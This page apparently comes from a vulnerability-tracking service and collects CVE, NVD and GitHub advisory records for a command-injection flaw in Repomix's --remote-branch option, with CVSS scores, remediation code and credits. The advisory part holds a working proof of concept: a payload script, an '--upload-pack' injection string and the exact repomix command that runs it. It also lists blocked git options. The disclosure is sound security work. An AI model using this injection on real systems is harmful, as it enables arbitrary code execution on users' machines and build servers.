Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources, documents or advisories need attention: 272/272 feeds/APIs · 469/469 docs · 7/9 advisories · checked 03:32 UTC Customize Public modeDiscuss ChangeIntel on Discord

Repomix: Command Injection (RCE) via `--remote-branch` Argument Injection

Collected exploitation and prediction evidence

Risk source coverage

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2026-49987

Published

Repomix is a tool that packs repositories into AI-friendly files. Prior to 1.14.1, src/core/git/gitCommand.ts execGitShallowClone passes the --remote-branch value directly to git fetch and git checkout without validation or --end-of-options, allowing --upload-pack or other Git option injection that bypasses validateGitUrl() dangerous parameter checks and can execute commands through local or SSH-style transports. This issue is fixed in version 1.14.1.

Source published
15 Jul 2026 18:06:27 UTC
Source modified
15 Jul 2026 19:40:40 UTC
Observed here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 7.5 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

nvd · CVE-2026-49987

Published

Repomix is a tool that packs repositories into AI-friendly files. Prior to 1.14.1, src/core/git/gitCommand.ts execGitShallowClone passes the --remote-branch value directly to git fetch and git checkout without validation or --end-of-options, allowing --upload-pack or other Git option injection that bypasses validateGitUrl() dangerous parameter checks and can execute commands through local or SSH-style transports. This issue is fixed in version 1.14.1.

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Analyzed

Weakness classifications: CWE-88

Original publisher date fields

published: 2026-07-15T19:17:25.483

lastModified: 2026-10-24T21:10:00.130

1 source CPE criteria · context only
  • cpe:2.3:a:yamadashy:repomix:*:*:*:*:*:*:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

Source published
15 Jul 2026 19:17:25 UTC
Source modified
24 Oct 2026 21:10:00 UTC
Observed here
25 Oct 2026 12:17:38 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 7.5 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Primary · 8.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

osv · GHSA-9mm9-rqhj-j5mx

Published

### Vulnerability Metadata | Field | Detail | | --- | --- | | **Affected Component** | `src/core/git/gitCommand.ts` (`execGitShallowClone`) | | **Impact** | Arbitrary Command Execution / Security Control Bypass | ### Summary The `--remote-branch` CLI option in `repomix` is vulnerable to argument injection. User-supplied input is passed directly to `git fetch` and `git checkout` subprocesses via `child_process.execFileAsync` without sanitization, `--` delimiters, or validation. An attacker can inject arbitrary git command-line options. By injecting the `--upload-pack` option and specifying an SSH (`git@...`) or local (`file://`) remote URL, an attacker achieves arbitrary command execution with the privileges of the user running `repomix`. This bypasses the existing `dangerousParams` blocklist implemented in `validateGitUrl()`. ### Vulnerable Code Analysis **File:** `src/core/git/gitCommand.ts` The `remoteBranch` parameter is appended directly to the arguments array for git subprocesses without the `--` positional delimiter. **Sink 1 (Lines 118-127):** ```typescript await deps.execFileAsync( 'git', ['-C', directory, 'fetch', '--depth', '1', 'origin', remoteBranch], // Vulnerable gitRemoteOpts, ); ``` **Sink 2 (Lines 148-151):** ```typescript await deps.execFileAsync('git', ['-C', directory, 'checkout', remoteBranch]); // Vulnerable ``` **Bypassed Security Control (Lines 192-197):** The application attempts to prevent this exact vulnerability class by blocking dangerous parameters (`--upload-pack`, `--receive-pack`, `--config`, `--exec`) within the `validateGitUrl` function. However, this validation is exclusively applied to the `url` variable and omitted for `remoteBranch`, creating a direct bypass. ### Attack Flow ```text [Source] repomix --remote-branch <injected_option> ↓ src/cli/actions/remoteAction.ts:226 (cloneRepository) ↓ src/core/git/gitCommand.ts:118 (execGitShallowClone) ↓ [Sink] execFileAsync('git', ['...', 'origin', '--upload-pack=/tmp/payload']) ↓ [Execution] git invokes the payload binary via transport helper ``` ### Proof of Concept (Steps to Reproduce) **1. Create the Payload** Create an executable bash script that writes system execution context to a file. *(Reference: Screenshot_2026-05-18_13_02_16.png)* ```bash cat > /tmp/malicious-pack << 'EOF' #!/bin/bash echo "=== RCE EXECUTED ===" > /tmp/repomix-pwned.txt id >> /tmp/repomix-pwned.txt EOF chmod +x /tmp/malicious-pack ``` **2. Trigger the Vulnerability** Establish a dummy remote and trigger the fetch operation, injecting the `--upload-pack` argument. *(Reference: Screenshot_2026-05-18_13_08_36.png)* ```bash # Setup dummy bare remote git init --bare /tmp/dummy-remote.git # Initialize local repo and add remote mkdir /tmp/test-fetch && cd /tmp/test-fetch git init git remote add origin file:///tmp/dummy-remote.git # Execute vulnerability git fetch --upload-pack=/tmp/malicious-pack origin 2>&1 ``` **3. Verify Execution** Execution occurs prior to git protocol validation. The script executes successfully despite the fetch operation returning a `128` exit code. ```bash cat /tmp/repomix-pwned.txt ``` *Expected Output:* ```text === RCE EXECUTED === uid=1000(kakashi) gid=1000(kakashi) groups=1000(kakashi)... ``` **End-to-End Execution via Repomix:** ```bash repomix --remote [email protected]:yamadashy/repomix.git --remote-branch '--upload-pack=/tmp/malicious-pack' ``` ### Impact * **Remote Code Execution:** Complete system compromise with the privileges of the user executing `repomix`. * **CI/CD Compromise:** If `repomix` is utilized in automated pipelines where `--remote-branch` is populated by external triggers (e.g., webhook payloads, PR titles), attackers can compromise build servers and exfiltrate secrets. ### Remediation **1. Implement Positional Delimiters (Primary Fix)** Append the `--` delimiter to explicitly separate options from positional arguments in all git subprocess calls utilizing `remoteBranch`. ```typescript await deps.execFileAsync( 'git', ['-C', directory, 'fetch', '--depth', '1', 'origin', '--', remoteBranch], gitRemoteOpts, ); ``` **2. Apply Existing Blocklist to Branch Parameter (Defense in Depth)** Update `execGitShallowClone` to validate `remoteBranch` against the existing `dangerousParams` array. ```typescript const dangerousParams = ['--upload-pack', '--receive-pack', '--config', '--exec']; if (remoteBranch && dangerousParams.some((param) => remoteBranch.includes(param))) { throw new RepomixError(`Invalid branch name. Contains potentially dangerous parameters: ${remoteBranch}`); } ``` ### Attachments **Screenshot 1:** Payload script created with executable permissions. <img width="1920" height="1080" alt="Screenshot_2026-05-18_13_02_16" src="https://github.com/user-attachments/assets/a0ada9de-c689-4ed8-9937-dd7faf6e6cc0" /> **Screenshot 2:** Vulnerable Code <img width="1920" height="1080" alt="Screenshot_2026-05-18_13_03_44" src="https://github.com/user-attachments/assets/b72c7e05-d857-497a-9ae5-0822f86fa032" /> **Screenshot 3:** Verifying RCE. <img width="1920" height="1080" alt="Screenshot_2026-05-18_13_08_36" src="https://github.com/user-attachments/assets/f153545e-e5e8-4165-ac1a-f84efbb1c135" /> --- ### Credits This vulnerability was discovered and responsibly disclosed by: - **Researcher:** Abhijith S. - **GitHub:** [@kakashi-kx](https://github.com/kakashi-kx) - **HackerOne/Bugcrowd:** [kakashi4kx](https://hackerone.com/kakashi4kx)

Source published
1 Jul 2026 19:00:50 UTC
Source modified
1 Jul 2026 19:26:31 UTC
Observed here
24 Oct 2026 13:17:17 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Publisher rating · HIGH

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 27 Oct 03:32 UTC · 272 of 272 readable · 270 fully read · documentation 469/469 current